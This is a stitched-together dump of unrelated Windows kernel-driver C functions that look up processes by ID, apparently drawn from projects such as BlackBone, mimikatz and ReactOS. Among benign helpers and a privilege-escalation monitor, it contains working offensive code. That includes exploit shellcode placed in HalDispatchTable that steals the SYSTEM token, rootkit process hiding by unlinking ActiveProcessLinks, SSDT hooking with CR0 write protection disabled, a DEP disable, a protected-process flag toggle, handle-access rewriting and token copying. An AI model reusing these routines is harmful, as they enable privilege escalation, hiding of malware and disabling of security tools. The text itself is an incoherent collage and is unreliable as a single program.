/// <summary> /// Disable process DEP /// Has no effect on native x64 process /// </summary> /// <param name="pData">Request params</param> /// <returns>Status code</returns> NTSTATUS BBDisableDEP( IN PDISABLE_DEP pData ) { NTSTATUS status = STATUS_SUCCESS; PKEXECUTE_OPTIONS pExecOpt = NULL; PEPROCESS pProcess = NULL; status = PsLookupProcessByProcessId( (HANDLE)pData->pid, &pProcess ); if (NT_SUCCESS( status )) { if (dynData.KExecOpt != 0) { pExecOpt = (PKEXECUTE_OPTIONS)((PUCHAR)pProcess + dynData.KExecOpt); // Reset all flags pExecOpt->ExecuteOptions = 0; pExecOpt->Flags.ExecuteEnable = 1; // pExecOpt->Flags.ImageDispatchEnable = 1; // Disable all checks pExecOpt->Flags.ExecuteDispatchEnable = 1; // } else { DPRINT( "BlackBone: %s: Invalid _KEXECUTE_OPTIONS offset\n", __FUNCTION__ ); status = STATUS_INVALID_ADDRESS; } } else DPRINT( "BlackBone: %s: PsLookupProcessByProcessId failed with status 0x%X\n", __FUNCTION__, status ); if (pProcess) ObDereferenceObject( pProcess ); return status; }
// This routine is injected into nt!HalDispatchTable by EPATHOBJ::pprFlattenRec. ULONG __stdcall ShellCode(DWORD Arg1, DWORD Arg2, DWORD Arg3, DWORD Arg4) { PVOID TargetProcess; // Record that the exploit completed. ComplexPathFinished = 1; // Fix the corrupted HalDispatchTable, HalDispatchTable[1] = HalQuerySystemInformation; // Find the EPROCESS structure for the process I want to escalate if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) { PACCESS_TOKEN SystemToken; PACCESS_TOKEN TargetToken; // Find the Token object for my target process, and the SYSTEM process. TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess); SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess); // Find the token in the target process, and replace with the system token. FindAndReplaceMember((PDWORD) TargetProcess, (DWORD) TargetToken, (DWORD) SystemToken, 0x200); } return 0; }
void r0_closeAllHandles(wchar_t* filePath) { MY_SYSTEM_HANDLE_INFORMATION *shiTable; EPROCESS *eprocess; unsigned long i; FILE_OBJECT *file; OBJECT_NAME_INFORMATION *objectNameInformation = 0; unsigned long filePathLength = wcslen(filePath); shiTable = enumerateHandles(); for(i = 0; i < shiTable->NumberOfHandles;i++) { if( isFile( shiTable->Handles[i].ObjectTypeIndex) ) { file = (FILE_OBJECT*)shiTable->Handles[i].Object; if(!file || file->FileName.Length == 0) continue; getFullPathName(file,&objectNameInformation); if((objectNameInformation->Name.Length/2 ) != filePathLength) continue; if( !_wcsnicmp(filePath,(wchar_t*)objectNameInformation->Name.Buffer,filePathLength) ) { PsLookupProcessByProcessId((HANDLE)shiTable->Handles[i].UniqueProcessId,&eprocess); KeAttachProcess(eprocess);//switch context to process one ZwClose((HANDLE)shiTable->Handles[i].HandleValue); KeDetachProcess(); } } } ExFreePoolWithTag(shiTable,0xdeadbeef); }
/* attach to GUI process. */ NTSTATUS AttachGuiProcess( PKAPC_STATE pApcStatus ) { NTSTATUS status=STATUS_SUCCESS; ULONG osMajor = 0; PEPROCESS csrssEproc; //获取os主板本号 status = PsGetVersion( &osMajor, NULL, NULL, NULL ); if ( NT_SUCCESS(status) ) { //vista以上不兼容 if (osMajor != 6) { //获取Csrss.exe进程EPROCESS status=PsLookupProcessByProcessId( (PVOID)GetCsrssPid(), &csrssEproc); if ( !NT_SUCCESS(status) ) { KdPrint(("attach to GUI process failed!\n")); return STATUS_UNSUCCESSFUL; } } } // StackAttach(guiEproc, ApcStatus) KeStackAttachProcess(csrssEproc, pApcStatus); return status; }
NTSTATUS HideProc_Write(PDEVICE_OBJECT DeviceObject, PIRP Irp){ NTSTATUS NtStatus = STATUS_INVALID_PARAMETER; PIO_STACK_LOCATION pIoStackIrp = NULL; UINT dwDataWritten = 0; ULONG dwEProcAddr; PLIST_ENTRY pListProcs; PEPROCESS pEProc; hpstruct *hps; DbgPrint("HideProc_Write Called\n"); pIoStackIrp = IoGetCurrentIrpStackLocation(Irp); if(pIoStackIrp && Irp->MdlAddress){ hps = (hpstruct *)MmGetSystemAddressForMdlSafe(Irp->MdlAddress, NormalPagePriority); if(hps){ if(pIoStackIrp->Parameters.Write.Length == sizeof(hpstruct)){ if(PsLookupProcessByProcessId((PVOID)hps->uPid, &pEProc) == STATUS_SUCCESS){ DbgPrint("EPROCESS found. Address: %08lX.\n", pEProc); DbgPrint("Now hiding process %d...\n", hps->uPid); dwEProcAddr = (ULONG) pEProc; __try{ pListProcs = (PLIST_ENTRY) (dwEProcAddr + hps->uFlinkOffset); *((ULONG*) pListProcs->Blink) = (ULONG) (pListProcs->Flink); //set flink of prev proc to flink of cur proc *((ULONG*) pListProcs->Flink+1) = (ULONG) (pListProcs->Blink); //set blink of next proc to blink of cur proc pListProcs->Flink = (PLIST_ENTRY) &(pListProcs->Flink); //set flink and blink of cur proc to themselves pListProcs->Blink = (PLIST_ENTRY) &(pListProcs->Flink); //otherwise might bsod when exiting process DbgPrint("Process now hidden.\n"); }__except(EXCEPTION_EXECUTE_HANDLER){ NtStatus = GetExceptionCode(); DbgPrint("Exception: %d.\n", NtStatus); } NtStatus = STATUS_SUCCESS; } }else{
/******************************************************************************* * * 函 数 名 : CreateProcessNotifyRoutine * 功能描述 : 判断创建的进程是否为拒绝运行程序,是的话结束 * 参数列表 : * 说 明 : 通过PID取得EPROCESS对象,再从里面取名字判断是否为拒绝运行的 * 程序,是的话再通过PID打开进程,结束进程 * 返回结果 : 无 * *******************************************************************************/ VOID CreateProcessNotifyRoutine (IN HANDLE ParentId, IN HANDLE ProcessId, IN BOOLEAN Create ) { PEPROCESS pEProcess = NULL ; OBJECT_ATTRIBUTES ObjectAttributes; CLIENT_ID clientid; HANDLE handle ; return ; // 进程创建 if (Create) { if (0 != ProcessId) { if(NT_SUCCESS(PsLookupProcessByProcessId(ProcessId, &pEProcess))) { ObDereferenceObject(pEProcess) ; // 这里可以再比一下进程名 InitializeObjectAttributes(&ObjectAttributes, 0 ,OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, 0, 0); clientid.UniqueProcess = (HANDLE)ParentId; clientid.UniqueThread=0; if(NT_SUCCESS(ZwOpenProcess(&handle, PROCESS_ALL_ACCESS, &ObjectAttributes, &clientid))) { ZwTerminateProcess(handle, 0) ; } } } } // 程序退出 else { } }
NTSTATUS OpenProcess( IN ULONG uPID, OUT PHANDLE pHandle, IN ACCESS_MASK DesiredAccess) { NTSTATUS rtStatus = STATUS_SUCCESS; PEPROCESS pEProcess = NULL; HANDLE hTagProcess = NULL; PULONG uPsProcessType = 0; UNICODE_STRING StrType; rtStatus = PsLookupProcessByProcessId((HANDLE)uPID, &pEProcess); if (NT_SUCCESS(rtStatus)) { RtlInitUnicodeString(&StrType, L"PsProcessType"); uPsProcessType = (PULONG)MmGetSystemRoutineAddress(&StrType); if (uPsProcessType) { rtStatus = ObOpenObjectByPointer(pEProcess, 0, 0, DesiredAccess, (POBJECT_TYPE)*uPsProcessType, UserMode, &hTagProcess); if (NT_SUCCESS(rtStatus)) { *pHandle = hTagProcess; } } ObfDereferenceObject(pEProcess); } return rtStatus; }
NTSTATUS kkll_m_process_token(SIZE_T szBufferIn, PVOID bufferIn, PKIWI_BUFFER outBuffer) { NTSTATUS status = STATUS_SUCCESS; PMIMIDRV_PROCESS_TOKEN_FROM_TO pTokenFromTo = (PMIMIDRV_PROCESS_TOKEN_FROM_TO) bufferIn; ULONG fromProcessId, toProcessId; HANDLE hFromProcess, hFromProcessToken; PEPROCESS pFromProcess = PsInitialSystemProcess, pToProcess = NULL; if(pTokenFromTo && (szBufferIn == sizeof(MIMIDRV_PROCESS_TOKEN_FROM_TO))) { if(pTokenFromTo->fromProcessId) status = PsLookupProcessByProcessId((HANDLE) pTokenFromTo->fromProcessId, &pFromProcess); if(NT_SUCCESS(status) && pTokenFromTo->toProcessId) status = PsLookupProcessByProcessId((HANDLE) pTokenFromTo->toProcessId, &pToProcess); } if(NT_SUCCESS(status)) { status = ObOpenObjectByPointer(pFromProcess, OBJ_KERNEL_HANDLE, NULL, 0, *PsProcessType, KernelMode, &hFromProcess); if(NT_SUCCESS(status)) { status = ZwOpenProcessTokenEx(hFromProcess, 0, OBJ_KERNEL_HANDLE, &hFromProcessToken); if(NT_SUCCESS(status)) { status = kprintf(outBuffer, L"Token from %u/%-14S\n", PsGetProcessId(pFromProcess), PsGetProcessImageFileName(pFromProcess)); if(NT_SUCCESS(status)) { if(pToProcess) status = kkll_m_process_token_toProcess(szBufferIn, bufferIn, outBuffer, hFromProcessToken, pToProcess); else status = kkll_m_process_enum(szBufferIn, bufferIn, outBuffer, kkll_m_process_systoken_callback, hFromProcessToken); } ZwClose(hFromProcessToken); } ZwClose(hFromProcess); } } if(pToProcess) ObDereferenceObject(pToProcess); if(pFromProcess && (pFromProcess != PsInitialSystemProcess)) ObDereferenceObject(pFromProcess); return status; }
VOID UnloadDriver(IN PDRIVER_OBJECT DriverObject) { UNICODE_STRING uniWin32NameString; UNICODE_STRING LinkNameString; PDEVICE_OBJECT deviceObject; NTSTATUS status; status = PsLookupProcessByProcessId((ULONG)GetCsrPid(), &crsEProc); if (!NT_SUCCESS( status )) { DbgPrint("PsLookupProcessByProcessId() error\n"); return ; } KeAttachProcess(crsEProc); //////////////////////UnHook ZwQuerySystemInformation///////////////////////////////////////////////// __try { _asm { CLI //dissable interrupt MOV EAX, CR0 //move CR0 register into EAX AND EAX, NOT 10000H //disable WP bit MOV CR0, EAX //write register back } if ((KeServiceDescriptorTableShadow!=NULL) && (NtUserFindWindowEx_callnumber!=0) && (NtUserGetForegroundWindow_callnumber!=0) && (NtUserBuildHwndList_callnumber!=0) && (NtUserQueryWindow_callnumber!=0)) { (NTUSERFINDWINDOWEX)(KeServiceDescriptorTableShadow[1].ServiceTableBase[NtUserFindWindowEx_callnumber]) = g_OriginalNtUserFindWindowEx; (NTUSERQUERYWINDOW)KeServiceDescriptorTableShadow[1].ServiceTableBase[NtUserQueryWindow_callnumber] = g_OriginalNtUserQueryWindow; (NTUSERBUILDHWNDLIST)KeServiceDescriptorTableShadow[1].ServiceTableBase[NtUserBuildHwndList_callnumber] = g_OriginalNtUserBuildHwndList; (NTUSERGETFOREGROUNDWINDOW)KeServiceDescriptorTableShadow[1].ServiceTableBase[NtUserGetForegroundWindow_callnumber] = g_OriginalNtUserGetForegroundWindow; (NTUSERWINDOWFROMPOINT)KeServiceDescriptorTableShadow[1].ServiceTableBase[NtUserWindowFromPoint_callnumber] = g_OriginalNtUserWindowFromPoint; } _asm { MOV EAX, CR0 //move CR0 register into EAX OR EAX, 10000H //enable WP bit MOV CR0, EAX //write register back STI //enable interrupt } } __finally { KeDetachProcess(); Sleep(50); } deviceObject= DriverObject->DeviceObject; IoDeleteSymbolicLink(&LinkDeviceNameString); ASSERT(!deviceObject->AttachedDevice); if ( deviceObject != NULL ) { IoDeleteDevice( deviceObject ); } }
/// <summary> /// Enable/disable process protection flag /// </summary> /// <param name="pProtection">Request params</param> /// <returns>Status code</returns> NTSTATUS BBSetProtection( IN PSET_PROC_PROTECTION pProtection ) { NTSTATUS status = STATUS_SUCCESS; PEPROCESS pProcess = NULL; status = PsLookupProcessByProcessId( (HANDLE)pProtection->pid, &pProcess ); if (NT_SUCCESS( status )) { if (dynData.Protection != 0) { // Win7 if (dynData.ver <= WINVER_7_SP1) { if (pProtection->enableState) *(PULONG)((PUCHAR)pProcess + dynData.Protection) |= 1 << 0xB; else *(PULONG)((PUCHAR)pProcess + dynData.Protection) &= ~(1 << 0xB); } // Win8 else if (dynData.ver == WINVER_8) { *((PUCHAR)pProcess + dynData.Protection) = pProtection->enableState; } // Win8.1 else if (dynData.ver >= WINVER_81) { PS_PROTECTION protBuf = { 0 }; if (pProtection->enableState == FALSE) { protBuf.Level = 0; } else { protBuf.Flags.Signer = PsProtectedSignerWinTcb; protBuf.Flags.Type = PsProtectedTypeProtected; } *((PUCHAR)pProcess + dynData.Protection) = protBuf.Level; } else status = STATUS_NOT_SUPPORTED; } else { DPRINT( "BlackBone: %s: Invalid protection flag offset\n", __FUNCTION__ ); status = STATUS_INVALID_ADDRESS; } } else DPRINT( "BlackBone: %s: PsLookupProcessByProcessId failed with status 0x%X\n", __FUNCTION__, status ); if (pProcess) ObDereferenceObject( pProcess ); return status; }
/* * io_control_set_process_info * * Arguments: * irp * io_stack_irp * input_buffer * setProcessInfo * output_buffer */ NTSTATUS io_control_set_process_info( PIRP irp, PIO_STACK_LOCATION io_stack_irp, unsigned char * input_buffer, unsigned char * output_buffer ) { NTSTATUS function_result = STATUS_SUCCESS; setProcessInfo * processInfo = (setProcessInfo *)input_buffer; UNREFERENCED_PARAMETER(irp); UNREFERENCED_PARAMETER(output_buffer); try { ProbeForRead( input_buffer, io_stack_irp->Parameters.DeviceIoControl.InputBufferLength, sizeof( char ) ); } except (EXCEPTION_EXECUTE_HANDLER) { KdPrint(( "Oregano: io_control_set_process_info: Failed to read buffer\r\n" )); function_result = STATUS_DATA_ERROR; goto IO_CONTROL_SET_PROCESS_ID_INVALID_ARG; } if (0 != targetProcessId) { if (0 == processInfo->processId) { /* Clearing the target process */ KdPrint( ("Oregano: io_control_set_process_info: Clearing process info\r\n") ); stopTracing(); goto IO_CONTROL_SET_PROCESS_ID_DONE; } else if (targetProcessId != (HANDLE)processInfo->processId) { /* Currently I can log only one process at a time */ KdPrint( ("Oregano: io_control_set_process_info: You must stop tracing befor setting a new target process!\r\n") ); function_result = STATUS_INVALID_PARAMETER_1; goto IO_CONTROL_SET_PROCESS_ID_INVALID_ARG; } } targetProcessId = (HANDLE)processInfo->processId; targetThreadId = (HANDLE)processInfo->threadId; targetEProcess = NULL; target_process = NULL; function_result = PsLookupProcessByProcessId( targetProcessId, (PEPROCESS *)(&targetEProcess) ); if (NT_SUCCESS(function_result) && (NULL != targetEProcess)) { target_process = *(void **)(targetEProcess + offsets->eprocess.DirectoryTableBase); } else { KdPrint(("Oregano: io_control_set_process_info: Failed to query target process %p\r\n", targetProcessId)); } IO_CONTROL_SET_PROCESS_ID_INVALID_ARG: IO_CONTROL_SET_PROCESS_ID_DONE: return function_result; }
char* GetProcessNameFromPid(HANDLE pid) { PEPROCESS Process; if (PsLookupProcessByProcessId(pid, &Process) == STATUS_INVALID_PARAMETER) { return "Some mistake"; } return (CHAR*)PsGetProcessImageFileName(Process); }
BOOL FASTCALL co_IntRegisterLogonProcess(HANDLE ProcessId, BOOL Register) { PEPROCESS Process; NTSTATUS Status; CSR_API_MESSAGE Request; Status = PsLookupProcessByProcessId(ProcessId, &Process); if (!NT_SUCCESS(Status)) { EngSetLastError(RtlNtStatusToDosError(Status)); return FALSE; } if (Register) { /* Register the logon process */ if (LogonProcess != NULL) { ObDereferenceObject(Process); return FALSE; } LogonProcess = (PPROCESSINFO)Process->Win32Process; } else { /* Deregister the logon process */ if (LogonProcess != (PPROCESSINFO)Process->Win32Process) { ObDereferenceObject(Process); return FALSE; } LogonProcess = NULL; } ObDereferenceObject(Process); Request.Type = MAKE_CSR_API(REGISTER_LOGON_PROCESS, CSR_GUI); Request.Data.RegisterLogonProcessRequest.ProcessId = ProcessId; Request.Data.RegisterLogonProcessRequest.Register = Register; Status = co_CsrNotify(&Request); if (! NT_SUCCESS(Status)) { ERR("Failed to register logon process with CSRSS\n"); return FALSE; } return TRUE; }
/// <summary> /// Allocate/Free process memory /// </summary> /// <param name="pAllocFree">Request params.</param> /// <param name="pResult">Allocated region info.</param> /// <returns>Status code</returns> NTSTATUS BBAllocateFreeMemory( IN PALLOCATE_FREE_MEMORY pAllocFree, OUT PALLOCATE_FREE_MEMORY_RESULT pResult ) { NTSTATUS status = STATUS_SUCCESS; PEPROCESS pProcess = NULL; ASSERT( pResult != NULL ); if (pResult == NULL) return STATUS_INVALID_PARAMETER; status = PsLookupProcessByProcessId( (HANDLE)pAllocFree->pid, &pProcess ); if (NT_SUCCESS( status )) { KAPC_STATE apc; PVOID base = (PVOID)pAllocFree->base; ULONG_PTR size = pAllocFree->size; KeStackAttachProcess( pProcess, &apc ); if (pAllocFree->allocate) { if (pAllocFree->physical != FALSE) { status = BBAllocateFreePhysical( pProcess, pAllocFree, pResult ); } else { status = ZwAllocateVirtualMemory( ZwCurrentProcess(), &base, 0, &size, pAllocFree->type, pAllocFree->protection ); pResult->address = (ULONGLONG)base; pResult->size = size; } } else { MI_VAD_TYPE vadType = VadNone; BBGetVadType( pProcess, pAllocFree->base, &vadType ); if (vadType == VadDevicePhysicalMemory) status = BBAllocateFreePhysical( pProcess, pAllocFree, pResult ); else status = ZwFreeVirtualMemory( ZwCurrentProcess(), &base, &size, pAllocFree->type ); } KeUnstackDetachProcess( &apc ); } else DPRINT( "BlackBone: %s: PsLookupProcessByProcessId failed with status 0x%X\n", __FUNCTION__, status ); if (pProcess) ObDereferenceObject( pProcess ); return status; }
PCHAR GetProcessNameByProcessId(HANDLE ProcessId) { NTSTATUS st = STATUS_UNSUCCESSFUL; PEPROCESS ProcessObj = NULL; PCHAR string = NULL; st = PsLookupProcessByProcessId(ProcessId, &ProcessObj); if (NT_SUCCESS(st)) { string = PsGetProcessImageFileName(ProcessObj); ObfDereferenceObject(ProcessObj); } return string; }
// Gets a creation time of the process _Use_decl_annotations_ static LONGLONG EopmonpGetProcessCreateTimeQuadPart( HANDLE pid) { PAGED_CODE(); PEPROCESS process = nullptr; auto status = PsLookupProcessByProcessId(pid, &process); if (!NT_SUCCESS(status)) { return 0; } const auto create_time = PsGetProcessCreateTimeQuadPart(process); ObfDereferenceObject(process); return create_time; }
/******************************************************************************* * * 函 数 名 : HideProcess * 功能描述 : 隐藏进程 * 参数列表 : pHi -- 隐藏进程参数结构体 * 说 明 : 通过ActiveProcessLinks断链来实现 * 返回结果 : 成功返回TRUE,失败返回FALSE * *******************************************************************************/ bool HideProcess(IN PDEVICE_OBJECT pDevObj, ULONG uPID) { bool bResult = false ; PLIST_ENTRY pCur ; PEPROCESS pCurrentEprocess = NULL; KIRQL oldIrql ; PDEVICE_EXTENSION pde = NULL ; if (NULL == pDevObj) { return bResult ; } pde = (PDEVICE_EXTENSION)pDevObj->DeviceExtension ; if (NULL == pde) { return bResult ; } if(!NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)uPID, &pCurrentEprocess))) { return bResult ; } oldIrql = KeRaiseIrqlToDpcLevel() ; // 如果找到的话,开始断链了 pCur =(PLIST_ENTRY)((char *)pCurrentEprocess + pde->uActiveProcessLinksOffset ) ; // 取得当前的List // 检查一下是不是空链表的同时再检查一下上一个节点和下一个节点是不是都指向自己 if(pCur->Blink != pCur && pCur->Flink != pCur && pCur->Blink->Flink == pCur && pCur->Flink->Blink == pCur) { // 下一个的BLink项指向当前上一个节点 pCur->Flink->Blink = pCur->Blink ; // 上一个节点的指向下一个节点的项指向当前节点的下一个节点 pCur->Blink->Flink = pCur->Flink ; // 总结上面二句就是往前后二个节点跳过自己 // 再让自己指向自己吧 pCur->Blink = pCur->Flink = pCur ; bResult = true ; } KeLowerIrql(oldIrql) ; ObDereferenceObject((void *)pCurrentEprocess) ; return bResult ; }
// Remembers a SYSTEM token and its owner name if applicable _Use_decl_annotations_ static bool EopmonpCheckProcessToken(HANDLE pid, void* context) { PAGED_CODE(); UNREFERENCED_PARAMETER(context); const char* NTAPI PsGetProcessImageFileName(_In_ PEPROCESS Process); // Get EPROCESS PEPROCESS process = nullptr; auto status = PsLookupProcessByProcessId(pid, &process); if (!NT_SUCCESS(status)) { return true; } // Test if a process name of this pid matches with any of known system // processes. const auto process_name = PsGetProcessImageFileName(process); for (auto system_process_name : kEopmonpSystemProcessNames) { if (!RtlEqualMemory(process_name, system_process_name, strlen(system_process_name) + 1)) { continue; } // System process found const auto token = PsReferencePrimaryToken(process); // Initialize g_eopmonp_offset_to_token if not yet if (!g_eopmonp_offset_to_token && !EopmonpInitTokenOffset(process, token)) { PsDereferencePrimaryToken(token); ObfDereferenceObject(process); return false; // error. cannot continue } // PLACE TO IMPROVE: // EopMon updates a list of system processes' tokens and IDs only once, // while some of them like csrss.exe and winlogon.exe can be terminated and // re-launched when a use logout and logon to the system. One solution would // be installing process notification callback and maintain the latest // system process list. g_eopmonp_system_process_tokens->emplace_back(token, system_process_name); g_eopmonp_system_process_ids->push_back(pid); HYPERPLATFORM_LOG_INFO("System Token %p with PID=%Iu %s", token, pid, system_process_name); PsDereferencePrimaryToken(token); } ObfDereferenceObject(process); return true; }
NTSTATUS DispatchIoctl(PDEVICE_OBJECT pDevObj, PIRP pIrp) { NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST; PIO_STACK_LOCATION pIrpStack; ULONG uIoControlCode; PVOID pIoBuffer; ULONG uInSize; ULONG uOutSize; pIrpStack = IoGetCurrentIrpStackLocation(pIrp); uIoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode; pIoBuffer = pIrp->AssociatedIrp.SystemBuffer; uInSize = pIrpStack->Parameters.DeviceIoControl.InputBufferLength; uOutSize = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength; switch(uIoControlCode) { case IOCTL_PsKillProcess64: { __try { memcpy(&idTarget,pIoBuffer,sizeof(idTarget)); DbgPrint("[x64Drv] PID: %ld",idTarget); status=PsLookupProcessByProcessId((HANDLE)idTarget, &epTarget); if(!NT_SUCCESS(status)) { DbgPrint("[x64Drv] Cannot get target! Status: %x; EPROCESS: %llx",status,(ULONG64)epTarget); break; } else { DbgPrint("[x64Drv] Get target OK! EPROCESS: %llx", (ULONG64)epTarget); HwlTerminateProcess64(epTarget); ObDereferenceObject(epTarget); } } __except(EXCEPTION_EXECUTE_HANDLER) { ; } break; } } if(status == STATUS_SUCCESS) pIrp->IoStatus.Information = uOutSize; else pIrp->IoStatus.Information = 0; pIrp->IoStatus.Status = status; IoCompleteRequest(pIrp, IO_NO_INCREMENT); return status; }
BOOLEAN GetProcessNameByPid( OUT PCHAR pszName, DWORD dwPid ) { PEPROCESS peProcess = NULL; PsLookupProcessByProcessId( (HANDLE)dwPid, &peProcess ); if( g_uProcessNameOffset != 0 && pszName && peProcess ) { PCHAR pszProcessName = (PCHAR)peProcess+g_uProcessNameOffset; strncpy( pszName, pszProcessName, 16 ); pszName[16] = '\0'; ObDereferenceObject(peProcess); return TRUE; } return FALSE; }
/******************************************************************************* * * 函 数 名 : isProtectProcess * 功能描述 : 判断是否为保护进程 * 参数列表 : ClientId -- 进程ID * 说 明 : * 返回结果 : 是需要保护的进程返回true,否则返回false * *******************************************************************************/ bool isProtectProcess(IN PCLIENT_ID ClientId ) { bool bResult = false ; NTSTATUS ntStatus = STATUS_UNSUCCESSFUL ; PUCHAR pProcessName = NULL ; PEPROCESS pEprocess = NULL ; bool bIsFind = false ; if (NULL == ClientId) { return false ; } __try { // 先去查进程id是不是要保护的 bIsFind = FindProtectProcessPID((ULONG)ClientId->UniqueProcess) ; // 如果找到了,就闪人了 if (bIsFind) { bResult = true ; __leave ; } // 再查进程名是不是要保护的 ntStatus = PsLookupProcessByProcessId(ClientId->UniqueProcess, &pEprocess) ; if (! NT_SUCCESS(ntStatus)) { pEprocess = NULL ; __leave ; } pProcessName = PsGetProcessImageFileName((pEprocess)) ; KdPrint(((PCSTR)pProcessName)) ; KdPrint(("\r\n")) ; bIsFind = FindProtectProcessName(pProcessName) ; bResult = bIsFind ; } __finally { if (NULL != pEprocess) { ObDereferenceObject(pEprocess) ; pEprocess = NULL ; } } return bResult ; }
// //InteceptProcess is callback notify routine that be set by //PsSetLoadImageNotifyRoutine kernel function // VOID InterceptProcess( IN PUNICODE_STRING FullImageName, IN HANDLE ProcessId, // where image is mapped IN PIMAGE_INFO ImageInfo ) { NTSTATUS ntStatus; OBJECT_ATTRIBUTES objAttr; CLIENT_ID ClientId = {0}; HANDLE hCurProcess; ClientId.UniqueProcess = ProcessId; InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL); ntStatus = ZwOpenProcess(&hCurProcess, PROCESS_ALL_ACCESS, &objAttr, &ClientId); if (NT_SUCCESS(ntStatus)) { PROCESS_BASIC_INFORMATION PBICurProc = {0}; ULONG ulRtn; // NtQueryInformationProcess(hProcess, ProcessBasicInformation, &ProcInfo, sizeof (ProcInfo), &ulRtn); ntStatus = NtQueryInformationProcess(hCurProcess, ProcessBasicInformation, &PBICurProc, sizeof (PBICurProc), &ulRtn); KdPrint(("LoadImageNotify: NtQueryInformation ERROR CODE: 0x%08x\n", ntStatus)); if (NT_SUCCESS(ntStatus)) { PEPROCESS pEParent; KdPrint(("LoadImageNotify: NtQueryInformationProcess Successfully!\n")); ntStatus = PsLookupProcessByProcessId((HANDLE)PBICurProc.InheritedFromUniqueProcessId, &pEParent); if (NT_SUCCESS(ntStatus)) { if (IsInterceptionProcess(pEParent)) { KdPrint(("This Process's parent process is TENCENT IM\n")); ZwTerminateProcess(hCurProcess, 0); } ObDereferenceObject(pEParent); } } ZwClose(hCurProcess); } }
VOID ProcessCallback( IN HANDLE hParentId, IN HANDLE hProcessId, IN BOOLEAN bCreate ) { PEPROCESS pEProc; CHAR *pName; //进程名 ANSI_STRING Net1ExeName; ANSI_STRING NetExeName; ANSI_STRING MmcExeName; ANSI_STRING CurExeName; PDEVICE_EXTENSION extension; extension = g_pDeviceObject->DeviceExtension; extension->hPParentId = hParentId; extension->hPProcessId = hProcessId; extension->bPCreate = bCreate; PsLookupProcessByProcessId(hProcessId, &pEProc); #if WINVER >= 0x0501 pName = (CHAR*)PsGetProcessImageFileName(pEProc); //获取进程名 #else pName = (CHAR*)pEProc + 0x1FC; #endif ObDereferenceObject(pEProc); DbgPrint ("Create Process Name = %s.\n", pName); RtlInitAnsiString(&CurExeName, pName); RtlInitAnsiString(&Net1ExeName, "net1.exe"); RtlInitAnsiString(&NetExeName, "net.exe"); RtlInitAnsiString(&MmcExeName, "mmc.exe"); if (bCreate && (RtlCompareString(&NetExeName, &CurExeName, TRUE) == 0 || RtlCompareString(&MmcExeName, &CurExeName, TRUE) == 0 || RtlCompareString(&Net1ExeName, &CurExeName, TRUE) == 0)) { KeSetEvent(extension->ProcessEvent, 0, FALSE); KeClearEvent(extension->ProcessEvent); } }
/// <summary> /// Change handle granted access /// </summary> /// <param name="pAccess">Request params</param> /// <returns>Status code</returns> NTSTATUS BBGrantAccess( IN PHANDLE_GRANT_ACCESS pAccess ) { NTSTATUS status = STATUS_SUCCESS; PEPROCESS pProcess = NULL; PHANDLE_TABLE pTable = NULL; PHANDLE_TABLE_ENTRY pHandleEntry = NULL; EXHANDLE exHandle; // Validate dynamic offset if (dynData.ObjTable == 0) { DPRINT( "BlackBone: %s: Invalid ObjTable address\n", __FUNCTION__ ); return STATUS_INVALID_ADDRESS; } status = PsLookupProcessByProcessId( (HANDLE)pAccess->pid, &pProcess ); if (NT_SUCCESS( status )) { pTable = *(PHANDLE_TABLE*)((PUCHAR)pProcess + dynData.ObjTable); exHandle.Value = (ULONG_PTR)pAccess->handle; if (pTable) pHandleEntry = ExpLookupHandleTableEntry( pTable, exHandle ); if (ExpIsValidObjectEntry( pHandleEntry )) { pHandleEntry->GrantedAccessBits = pAccess->access; } else { DPRINT( "BlackBone: %s: 0x%X:0x%X handle is invalid. HandleEntry = 0x%p\n", __FUNCTION__, pAccess->pid, pAccess->handle, pHandleEntry ); status = STATUS_UNSUCCESSFUL; } } else DPRINT( "BlackBone: %s: PsLookupProcessByProcessId failed with status 0x%X\n", __FUNCTION__, status ); if (pProcess) ObDereferenceObject( pProcess ); return status; }
//新的处理函数 NTSTATUS NewObReferenceObjectByHandle_forNtCreateKeyAndNtSetValueKey( IN HANDLE Handle, IN ACCESS_MASK DesiredAccess, IN POBJECT_TYPE ObjectType OPTIONAL, IN KPROCESSOR_MODE AccessMode, OUT PVOID *Object, OUT POBJECT_HANDLE_INFORMATION HandleInformation OPTIONAL ) { //全局 if (bGlobal_disableCreateReg) { //直接返回失败 return STATUS_ACCESS_DENIED; } //这里是指定目标进程操作 if (b_disableCreateReg) { NTSTATUS status; PDISABLE_CREATE_REG p= NULL; PEPROCESS pEpr = NULL; //遍历单向列表 for (p=pDisableCreateRegInfo;p;p=p->next) { status = PsLookupProcessByProcessId((HANDLE)p->ulPID,&pEpr); if (NT_SUCCESS(status)) { //如果目标进程的EPROCESS 等于 ring3下的应用程序EPROCESS if (PsGetCurrentProcess() == pEpr) { //返回句柄无效 return STATUS_ACCESS_DENIED; } } } } return ObReferenceObjectByHandle(Handle,DesiredAccess,ObjectType,AccessMode,Object,HandleInformation); }
BOOL FASTCALL co_IntRegisterLogonProcess(HANDLE ProcessId, BOOL Register) { NTSTATUS Status; PEPROCESS Process; Status = PsLookupProcessByProcessId(ProcessId, &Process); if (!NT_SUCCESS(Status)) { EngSetLastError(RtlNtStatusToDosError(Status)); return FALSE; } if (Register) { /* Register the logon process */ if (LogonProcess != NULL) { ObDereferenceObject(Process); return FALSE; } LogonProcess = (PPROCESSINFO)Process->Win32Process; } else { /* Deregister the logon process */ if (LogonProcess != (PPROCESSINFO)Process->Win32Process) { ObDereferenceObject(Process); return FALSE; } LogonProcess = NULL; } ObDereferenceObject(Process); return TRUE; }
